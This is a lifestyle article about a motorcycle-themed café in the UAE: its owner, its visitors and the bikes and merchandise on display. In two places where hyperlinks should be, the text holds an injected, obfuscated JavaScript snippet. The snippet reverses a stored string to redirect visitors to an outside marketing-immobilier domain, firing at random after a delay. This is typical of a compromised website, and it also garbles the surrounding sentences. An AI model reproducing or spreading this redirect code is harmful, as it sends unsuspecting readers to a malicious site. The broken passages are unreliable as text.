And it’s not just the bikes that give the place character. Scores of pictures of bikes and bikers alike festoon almost every wall, each demonstrating its own sense of heritage (I take a look, but I can’t find Mick Doohan).
Most of these items have been sourced online, but some are collector’s items from the owner himself, Mr Khaled Bin Hadher. An avid bike fan (“he has a huge range of bikes including Wrenchmonkees”), Khaled was inspired to open a UAE biking version of London’s famous Ace Café after experiencing its candour firsthand.
“Biker’s Café is a hang out, and it’s the first of its kind in the UAE. To the bikers, it doesn’t matter which models we have in from month-to-month. It’s a place where you can just have fun.”
So far, business is going well. It’s a little quiet this lunchtime, but that doesn’t mean the mix of clientele is any less varied. Just over my left shoulder, there’s a gentlemen nursing a coffee whilst putting the final touches to a powerpoint presentation on his laptop. A couple of ladies are enjoying a chat in the seating area outside, a Ducati rider has just dismounted in front of us, and a business meeting is in full swing right in front of me.
“Khaled wanted to accommodate everyone, from the bikers to the kids,” explains Mario. “I did talk to him about having a bar instead, but he wanted to get the families in instead. Customers come in, get a feel for what biking is about, and then keep coming back. We’ve open for just over a year and a half and we’re still growing.”
And with the growth comes further manufacturer interest. There’s a wide selection of merchandise in the gift shop, with t-shirts, gloves, Luminox watches and Biltwell helmets all up for grabs. And while there are a couple of big names missing from the team’s checklist – $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/lifestyle/harley-davidson-abu-dhabi-steve-beattie-not-just-a-destination/” target=”_blank”>Harley Davidson being the biggest – the main source of interest for The Biker’s Café comes as something of a surprise.
“We’ve had Aprilia and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/2013-victory-judge-guest-blog-american-muscle/” target=”_blank”>Victory, and we get a lot of interest from Ducati: we’ve had the Streetfighter and Streetfighter S on display here before. In fact the Ducati Group are regulars every Monday night, which is pretty amazing. But most of the interest is in the Vespa Scooters: they’re Italian, they’re quick, and they’ve got character. Customers just really like them.” Yep, alongside the Yamahas, there’s a Vespa 150 LE on display by the side door.
The clock ticks across to 2pm, and I figure a spot of lunch is called for. “You’re in luck,” says Mario beaming. “Today’s speciality is the Camel meat burger.”
It’s not hard to see why customers keep coming back.
– Shots courtesy of Camden Thrasher
*ORIGINAL POST DATE: January 2013
